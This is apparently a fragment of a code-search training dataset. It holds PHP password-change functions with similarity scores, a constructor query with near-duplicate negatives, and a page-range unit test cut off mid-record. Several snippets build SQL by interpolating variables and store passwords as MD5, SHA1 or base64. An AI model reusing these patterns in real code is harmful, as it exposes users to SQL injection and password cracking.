0){\r\n\t\t\t\t\t$error_flag = true;\r\n\t\t\t\t\tTemplate::notify(\"error\", \"Please enter the old password\");\r\n\t\t\t\t} else {\r\n\r\n\t\t\t\t\tif(strlen($new_password) > 0 && strlen($repeat_new_password) > 0){\r\n\t\t\t\t\t\t// if both fields are not empty\r\n\r\n\t\t\t\t\t\tif(strlen($new_password) < 6){\r\n\t\t\t\t\t\t\t// the password cannot be less than 6 characters\r\n\t\t\t\t\t\t\t$error_flag = true;\r\n\t\t\t\t\t\t\tTemplate::notify(\"error\", \"Too short password. Password must be at least 6 characters long.\");\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t// now compare the two new passwords\r\n\t\t\t\t\t\t\tif(strcmp($new_password, $repeat_new_password) !== 0){\r\n\t\t\t\t\t\t\t\t// both passwords are not same\r\n\t\t\t\t\t\t\t\t$error_flag = true;\r\n\t\t\t\t\t\t\t\tTemplate::notify(\"error\", \"New Passwords do not match. Please try again.\");\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tTemplate::notify(\"error\", \"Please enter the new password\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif(!$error_flag){\r\n\t\t\t\t\t// means there are no any errors\r\n\t\t\t\t\t// get the current user account from the database\r\n\t\t\t\t\t// if the old password matches with the one that the user entered\r\n\t\t\t\t\t// change the password, else throw an error\r\n\r\n\t\t\t\t\t$old_password_hash = Config::hash($old_password);\r\n\r\n\t\t\t\t\tif(strcmp($old_password_hash, trim($user_info->password)) === 0){\r\n\r\n\t\t\t\t\t\t\tif($this->change_password($new_password, $user_info)){\r\n\t\t\t\t\t\t\t\tTemplate::notify(\"success\", \"Password changed successfully\");\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tredirect(Config::url(\"account\"));\r\n\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tTemplate::notify(\"error\", \"Wrong Old Password. Please try again\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tConfig::set(\"active_link\", \"password\");\r\n\t\t\tConfig::set(\"page_title\", \"Change Account Password\");\r\n\r\n\t\t\t$view_data[\"user_info\"] = $user_info;\r\n\r\n\t\t\tTemplate::setvar(\"page\", \"account/password\");\r\n\t\t\tTemplate::set(\"account/template\", $view_data);\r\n\t\t}", "protected function configureSaltedPasswords() {}", "function ModifMiniPassUser( $passUser ){\r\n return md5($passUser);\r\n}", "public function testUpdatePasswordOnlyLowerCase(): void { }", "function user_changed_password($user_id, $new_password)\n\t{\n\t}", "function change_password($username, $new_hash_pw)\n {\n // Connect to MySQL\n $link = get_link(TRUE);\n\n $username = mysqli_real_escape_string($link, $username);\n $query = \"\n UPDATE User\n SET hash_pw = '$new_hash_pw'\n WHERE name = '$username'\";\n $result = mysqli_query($link, $query);\n if (mysqli_affected_rows($link) == 1)\n $ret = TRUE;\n else\n $ret = FALSE;\n mysqli_free_result($result);\n mysqli_close($link);\n return $ret;\n }", "protected function setPasswordAttribute($value) \n { \n $this->attributes['password'] = \\Hash::needsRehash($value) ? Hash::make($value) : $value;\n }", "public function setPasswordAttribute($value)\n {\n $this->attributes['password'] = Hash::needsRehash($value) ? Hash::make($value) : $value;\n }", "public static function setPassword(string $newPassword): void\n {\n self::writeConfiguration(['password' => password_hash($newPassword, PASSWORD_DEFAULT)]);\n }", "public function updatepassword()\n\t\t{\n\t\t\t$user = Session::get('loggedinuser');\n\t\t\t$userid = DB::table('users')->where('username', $user)->pluck('id');\n\t\t\t$updateduser = User::find($userid);\n\t\t\t$newpassword = Input::get('password');\n\t\t\tif($newpassword == Input::get('confirm')) {\n\t\t\t\t$updateduser->password = Hash::make($newpassword);\n\t\t\t\t$updateduser->save();\n\t\t\t\tSession::flash('successMessage', 'Password successfully updated');\n\t\t\t\treturn Redirect::action('UsersController@index');\n\t\t\t} else {\n\t\t\t\tSession::flash('errorMessage', 'Your passwords do not match!');\n\t\t\t\treturn Redirect::back();\n\t\t\t}\n\t\t}", "public function actionChangePassword()\n {\n $username = $this->prompt(Console::convertEncoding(Yii::t('app', 'Username')) . ':', ['required' => true]);\n $model = $this->findModel($username);\n $model->setPassword($this->prompt(Console::convertEncoding(Yii::t('app', 'New password')) . ':', [\n 'required' => true,\n 'pattern' => '#^.{4,255}$#i',\n 'error' => Console::convertEncoding(Yii::t('app', 'More than {:number} symbols', [':number' => 4])),\n ]));\n $this->log($model->save());\n }", "public function setPasswordAttribute($value) {\n if (\\Hash::needsRehash($value))\n $this->attributes['password'] = bcrypt($value);\n else\n $this->attributes['password'] = $value;\n }", "public function changePassword()\n {\n $breadCrumb = $this->userEngine->breadcrumbGenerate('change-password');\n\n return $this->loadPublicView('user.change-password', $breadCrumb['data']);\n }", "function updatePassword($userID, $password) {\n global $log, $mysqli;\n\n $hash = password_hash($password, PASSWORD_BCRYPT);\n\n // We use $userID because MySQL doesn't like updates on non-key fields (i.e. uname)\n $query = \"UPDATE users SET pswd='$hash' WHERE id='$userID'\";\n $results = $mysqli->query($query);\n}", "function _hash_password($password)\n {\n //return altered pw\n\n }", "public function setPass($request)\r\n {\r\n $params = [\r\n 'Password' => password_hash($request['password'], PASSWORD_DEFAULT),\r\n ];\r\n \r\n \r\n $this->primary = 'Activation';\r\n /*\r\n * Update row in user table where Activativon ==$request['activateCode'] with new password (hash code)\r\n */\r\n $this->update($request['activateCode'], $params);\r\n\r\n }", "public function testUserPassword() {\n\t\t// make new User and save it to the database\n\t\t$newPassword = Generate::hash();\n\n\t\t// change the User password\n\t\t$this->visit('/home')\n\t\t\t->click('#user-update-button')\n\t\t\t->seePageIs('/user/update')\n\t\t\t->click('Change Password')\n\t\t\t->seePageIs('/user/password')\n\t\t\t->type($this->password, 'old_password')\n\t\t\t->type($newPassword, 'password')\n\t\t\t->type($newPassword, 'password_confirmation')\n\t\t\t->press('Change Password')\n\t\t\t->seePageIs('/home')\n\t\t\t->see('Your password was changed successfully!')\n\t\t\t->click('Logout')\n\t\t\t->seePageIs('/');\n\n\t\t// test a regular User's login with the new password\n\t\t// TODO: check the database instead of testing the login process\n\t\t$this->visit('/')\n\t\t\t->click('#login-button')\n\t\t\t->seePageIs('/login')\n\t\t\t->type($this->User->email, 'email')\n\t\t\t->type($newPassword, 'password')\n\t\t\t->press('Login')\n\t\t\t->seePageIs('/home')\n\t\t\t->within('#nav', function() {\n\t\t\t\t$this->see('Logout')\n\t\t\t\t\t->dontSee('Login')\n\t\t\t\t\t->dontSee('Admin');\n\t\t\t});\n\t}", "public function setCachePassword($password) {\n $this->modx->getService('registry', 'registry.modRegistry');\n $this->modx->registry->addRegister('login','registry.modFileRegister');\n $this->modx->registry->login->connect();\n $this->modx->registry->login->subscribe('/useractivation/');\n $this->modx->registry->login->send('/useractivation/',array($this->user->get('username') => $password),array(\n 'ttl' => ($this->controller->getProperty('activationttl',180)*60),\n ));\n /* set cachepwd here to prevent re-registration of inactive users */\n $this->user->set('cachepwd',md5($password));\n if ($this->live) {\n $success = $this->user->save();\n } else {\n $success = true;\n }\n if (!$success) {\n $this->modx->log(modX::LOG_LEVEL_ERROR,'[Login] Could not update cachepwd for activation for User: '.$this->user->get('username'));\n }\n return $success;\n }", "function update_pass() {\n\n global $conn;\n\n $stmt = $conn->prepare('\n UPDATE Customer SET Pass = :Pass\n WHERE Customer_id = :Customer_id\n ');\n\n $encrypted_pass = sha1($this->Pass);\n\n $stmt->bindParam(':Pass', $encrypted_pass);\n $stmt->bindParam(':Customer_id', $this->Customer_id);\n\n return $stmt->execute();\n }", "function User_Changepass(){\r\n\t\tif( ($token = Str_filter($_POST['token'])) && ($old_password = Str_filter($_POST['old_password'])) && ($new_password = Str_filter($_POST['new_password'])) ){\r\n\t\t\tif($username = AccessToken_Getter($token)){\r\n\t\t\t\tif($user = Mongodb_Reader(\"todo_users\",array(\"username\" => $username),1)){\t\t\t\t\r\n\t\t\t\t\tif(md5($old_password) == $user['password']){\r\n\t\t\t\t\t\tMongodb_Updater(\"todo_users\",array(\"username\" => $username),array(\"password\" => md5($new_password)));\r\n\t\t\t\t\t\t$res = Return_Error(false,0,\"修改成功\",array(\"username\" => $username));\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$res = Return_Error(true,6,\"密码不正确\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$res = Return_Error(true,5,\"该用户不存在\");\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$res = Return_Error(true,7,\"token无效或登录超时\");\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$res = Return_Error(true,4,\"提交的数据为空\");\r\n\t\t}\r\n\t\techo $res;\r\n\t}", "public function setNewPassword($value) {\n\t\tif(!check($value)) throw new Exception(lang('error_92'));\n\t\tif(!Validator::AccountPassword($value)) throw new Exception(lang('error_92'));\n\t\t\n\t\t$this->_newPassword = $value;\n\t}", "function setPassword( $user, $password ) {\n global $shib_pretend;\n\n return $shib_pretend;\n }", "public function changePassword(Sh4bangUserInterface $user, string $newPassword): void\r\n {\r\n $password = $this->passwordEncoder->encodePassword($user, $newPassword);\r\n $user->setPassword($password);\r\n }", "public function action()\n {\n $user = $this->user();\n $data = $this->validated();\n \n $user->forceFill([\n 'password' => Hash::make($data['password']),\n ])->save();\n }", "public function changePasswordAction(){\n $data = $this->getRequestData();\n $user = Object_User::getById($this->getDeviceSession()->getUserId());\n if(isset($data['password']) && isset($data['repeat_password'])){\n if($data['password'] === $data['repeat_password']){\n $user->setPassword($data['password']);\n } else {\n $this->setErrorResponse('password and repeat_password should match!');\n }\n } else {\n $this->setErrorResponse('password and repeat_password is mandatory fields!');\n }\n $this->_helper->json(array('updated' => true));\n }", "public function changePwd(){\n $uesr_id=$_SESSION['admin_id'];\n\t\t$sql=\"select * from users where id='$uesr_id'\";\n\t\t$query = mysqli_query($this->connrps, $sql);\n\t\twhile ($row = mysqli_fetch_array($query)) {\n\t\t\t$username = $row['username'];\n\t\t\t$password = $row['password'];\n\t\t}\n\t\t$cur_password=base64_encode($_POST['currentPassword']);\n\t\t$new_pwd=base64_encode($_POST['newPassword']);\n\t\t$confirm_pwd=base64_encode($_POST['confirmPassword']);\n\t\tif ($cur_password != $password) {\n\t\t\t$message= \"Current password does not matched.\";\n\t\t\t$_SESSION['error_msg'] = $message;\n\t\t\treturn 0;\n\t\t}else if ($new_pwd != $confirm_pwd) {\n\t\t\t$message= \"Confirm password does not matched\";\n\t\t\t$_SESSION['error_msg'] = $message;\n\t\t\treturn 0;\n\t\t}else {\n\t\t\t$query_updt = \"UPDATE users SET password = '$new_pwd' WHERE id='$uesr_id'\";\n\t\t\t$query_updt = mysqli_query($this->connrps, $query_updt);\n\t\t\t$message= \"New password has been updated successfully\";\n\t\t\t$_SESSION['succ_msg'] = $message;\n\t\t\treturn 1;\n\t\t}\n\t}", "public function update_passwords( $args = array(), $assoc_args = array() ) {\n\t\t$this->process_args(\n\t\t\tarray(\n\t\t\t\t0 => '' // New password.\n\t\t\t),\n\t\t\t$args,\n\t\t\tarray(\n\t\t\t\t'blog_id' => '',\n\t\t\t\t'role' => '',\n\t\t\t\t'exclude' => '',\n\t\t\t\t'include' => '',\n\t\t\t),\n\t\t\t$assoc_args\n\t\t);\n\n\t\t$new_password = $this->args[0];\n\n\t\t$reset_passwords = false;\n\n\t\tif ( isset( $this->assoc_args['reset'] ) ) {\n\t\t\t$reset_passwords = true;\n\t\t}\n\n\t\tif ( ! $reset_passwords && empty( $new_password ) ) {\n\t\t\tWP_CLI::error( __( 'Please, provide a new password for the users', 'mu-migration' ) );\n\t\t}\n\n\t\t$send_email = false;\n\n\t\tif ( isset( $this->assoc_args['send_email'] ) ) {\n\t\t\t$send_email = true;\n\t\t}\n\n\t\t$users_args = array(\n\t\t\t'fields' => 'all',\n\t\t\t'role' => $this->assoc_args['role'],\n\t\t\t'include' => ! empty( $this->assoc_args['include'] ) ? explode( ',', $this->assoc_args['include'] ) : array(),\n\t\t\t'exclude' => ! empty( $this->assoc_args['exclude'] ) ? explode( ',', $this->assoc_args['exclude'] ) : array(),\n\t\t);\n\n\t\tif ( ! empty( $this->assoc_args['blog_id'] ) ) {\n\t\t\t$users_args['blog_id'] = (int) $this->assoc_args['blog_id'];\n\t\t}\n\n\t\t$users = get_users( $users_args );\n\n\t\tforeach ( $users as $user ) {\n\n\t\t\tif ( $reset_passwords ) {\n\t\t\t\t$new_password = wp_generate_password( 12, false );\n\t\t\t}\n\n\t\t\twp_set_password( $new_password, $user->data->ID );\n\n\t\t\tWP_CLI::log( sprintf( __( 'Password updated for user #%d:%s', 'mu-migration' ), $user->data->ID, $user->data->user_login ) );\n\n\t\t\tif ( $send_email ) {\n\t\t\t\t$this->send_reset_link( $user->data );\n\t\t\t}\n\t\t}\n\t}", "public function setPasswordAttribute($value)\n {\n $this->attributes['password'] = Hash::make($value);\n \n }", "public function testChangesAUsersPassword()\n {\n $user = factory(User::class)->create();\n $token = Password::createToken($user);\n $response = $this->post('/password/reset', [\n 'token' => $token,\n 'email' => $user->email,\n 'password' => 'password',\n 'password_confirmation' => 'password'\n ]);\n $this->assertTrue(Hash::check('password', $user->fresh()->password));\n }", "function reset_password($user, $new_pass)\n {\n }", "public function setNewPassword()\n {\n PasswordResetModel::setNewPassword(\n Request::post('user_name'), Request::post('user_password_reset_hash'),\n Request::post('user_password_new'), Request::post('user_password_repeat')\n );\n Redirect::to('index');\n }", "public function change_password() {\n\t\treturn view( 'provider.profile.change_password' );\n\t}", "private function __changePassword() {\n\t\t$data = $this->request->data['User'];\n\t\t$this->User->id = $this->Auth->user('id');\n\t\tif ($this->User->saveField('password', $data['new_password'])) {\n\t\t\t$this->Session->setFlash(__('Your password changed successfully.'), 'success');\n\t\t\t$this->redirect($this->referer());\n\t\t} else {\n\t\t\t$this->Session->setFlash(__('Could not change your password due to a server problem, try again later.'), 'error');\n\t\t}\n\t}", "function changePassword($userid, $password, $mode = null)\n\t{\n\t\trequire_once $_SERVER['DOCUMENT_ROOT'] . '/Connections/MyDBConnector.php';\n\t\t$pdo = (new MyDBConnector())->getPDO();\n\t\t$sql = \"UPDATE staff_directory SET `pswd` = '\" . password_hash($password, PASSWORD_BCRYPT) . \"' WHERE staffId = \" . $userid;\n\t\t$stmt = $pdo->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));\n\t\t$chk = $stmt->execute();\n\t\tif ($chk) {\n\t\t\treturn 'success';\n\t\t} else {\n\t\t\treturn 'error';\n\t\t}\n\t}", "public function update()\n {\n /** @var Form $form */\n $form = FormBuilder::create(UserSettingsForm::class);\n\n if (!$form->isValid()){\n return redirect()->back()->withErrors($form->getErrors())->withInput();\n }\n\n $data = $form->getFieldValues();\n $data['password'] = bcrypt($data['password']);\n Auth::user()->update($data);\n\n flash('Password changed with success!')->success()->important();\n return redirect()->route('admin.users.settings.edit');\n }", "public function testUpdatePasswordOnlyNumbers(): void { }" ]
[ "0.7278217", "0.7246388", "0.69614935", "0.6897919", "0.6891629", "0.68579644", "0.6855735", "0.6842724", "0.67941433", "0.6786965", "0.6777229", "0.67630225", "0.6754547", "0.67416", "0.6730419", "0.6711457", "0.6703955", "0.6691833", "0.66854537", "0.66777736", "0.66593385", "0.66245925", "0.6597942", "0.65931803", "0.65653175", "0.6562091", "0.6561218", "0.65496427", "0.6495858", "0.6489034", "0.6484994", "0.64786756", "0.6462953", "0.645285", "0.64464915", "0.64414257", "0.6440532", "0.6436823", "0.6434233", "0.6433942", "0.64295095", "0.6422094", "0.6402815", "0.63776547", "0.63756394", "0.63694257", "0.63678545", "0.6363488", "0.63609654", "0.6359504", "0.6356926", "0.6346484", "0.6339953", "0.633861", "0.6331842", "0.6299551", "0.62965333", "0.6290439", "0.6282344", "0.6259048", "0.62514716", "0.62434536", "0.62380743", "0.6236799", "0.6232041", "0.6229909", "0.6227229", "0.62266356", "0.6221339", "0.62125415", "0.62112975", "0.6208489", "0.620261", "0.6197711", "0.6197423", "0.61760163", "0.61596984", "0.61501974", "0.61487997", "0.6144881", "0.6141466", "0.6141391", "0.6136086", "0.6135321", "0.6128281", "0.61198664", "0.61137927", "0.6109856", "0.61093915", "0.6105788", "0.6101804", "0.6099821", "0.6098166", "0.609429", "0.6092715", "0.60912925", "0.6088651", "0.6085303", "0.60846424", "0.60712755", "0.60661703" ]
0.0
-1
This isn't likely to stay the standard constructor, so we name it explicitly as a static function below
private function __construct($testInfo, &$pageData, $run, $cached) { $this->testInfo = $testInfo; $this->pageData = &$pageData; $this->run = intval($run); $this->cached = $cached ? true : false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private final function __construct() {}", "final private function __construct() {}", "final private function __construct() {}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "protected final function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "function _construct(){ }", "private function __construct () {}", "protected abstract function __construct();", "function __construct() {}", "function __construct() {}", "function __construct() {}", "function __construct() {}", "function __construct() {}", "function __construct() {}", "final private function __construct()\n\t{\n\t}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "final private function __construct(){\r\r\n\t}", "final private function __construct() {\n\t\t\t}", "abstract protected function __construct();", "function _construct() {\n \t\n\t\t\n\t}", "private function __construct(){ }", "private function __construct(){ }", "function __constructor(){}", "private function __construct() { }" ]
[ "0.82948166", "0.8243305", "0.8243305", "0.80123836", "0.80123836", "0.80123836", "0.7935023", "0.7874876", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.7873918", "0.78732383", "0.78732383", "0.7749561", "0.77459145", "0.7663266", "0.76178", "0.76178", "0.76178", "0.76178", "0.76178", "0.76178", "0.7602984", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.7586755", "0.757543", "0.7537477", "0.75348663", "0.7525589", "0.7516812", "0.7516812", "0.750998", "0.7499583" ]
0.0
-1
Creates a TestResult instance from a pageResults array with all data about a run
public static function fromPageData($testInfo, &$pageData, $run, $cached) { return new self($testInfo, $pageData, $run, $cached); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run(&$results)\n {\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.1', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"invalid\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.2', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\",\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.3', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"-\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.4', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\",,-,,\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.5', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.6', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\",1\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.7', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1-\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.8', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,invalid\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.9', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1 2\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.10', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1 last\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.11', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1 2,3 4\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.12', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,,2\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.13', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1--2\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.14', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,null,3\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.14', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,false,3\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.14', '\\Flexio\\Base\\Util::createPageRangeArray(); invalid page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,2.1,3\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.15', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1.1-2\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.16', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"2-3.1\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.17', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1-LAST\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.18', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"true\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.19', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1-true\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('A.20', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n\n // TEST: \\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"none\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('B.1', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"-1\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('B.2', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"0\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('B.3', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1\", 10);\n $expected = [1];\n \\Flexio\\Tests\\Check::assertArray('B.4', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"10\", 10);\n $expected = [10];\n \\Flexio\\Tests\\Check::assertArray('B.5', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"11\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('B.6', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\" 1,2 , 9 ,10 \", 10);\n $expected = [1,2,9,10];\n \\Flexio\\Tests\\Check::assertArray('B.7', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"0,1,2,9,10,11\", 10);\n $expected = [1,2,9,10];\n \\Flexio\\Tests\\Check::assertArray('B.8', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"last\", 10);\n $expected = [10];\n \\Flexio\\Tests\\Check::assertArray('B.9', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,last\", 10);\n $expected = [1,10];\n \\Flexio\\Tests\\Check::assertArray('B.10', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"last,1\", 10);\n $expected = [1,10];\n \\Flexio\\Tests\\Check::assertArray('B.11', '\\Flexio\\Base\\Util::createPageRangeArray(); basic delimited page input', $actual, $expected, $results);\n\n\n // TEST: \\Flexio\\Base\\Util::createPageRangeArray(); basic range page input\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"0-1\", 10);\n $expected = [1];\n \\Flexio\\Tests\\Check::assertArray('C.1', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // 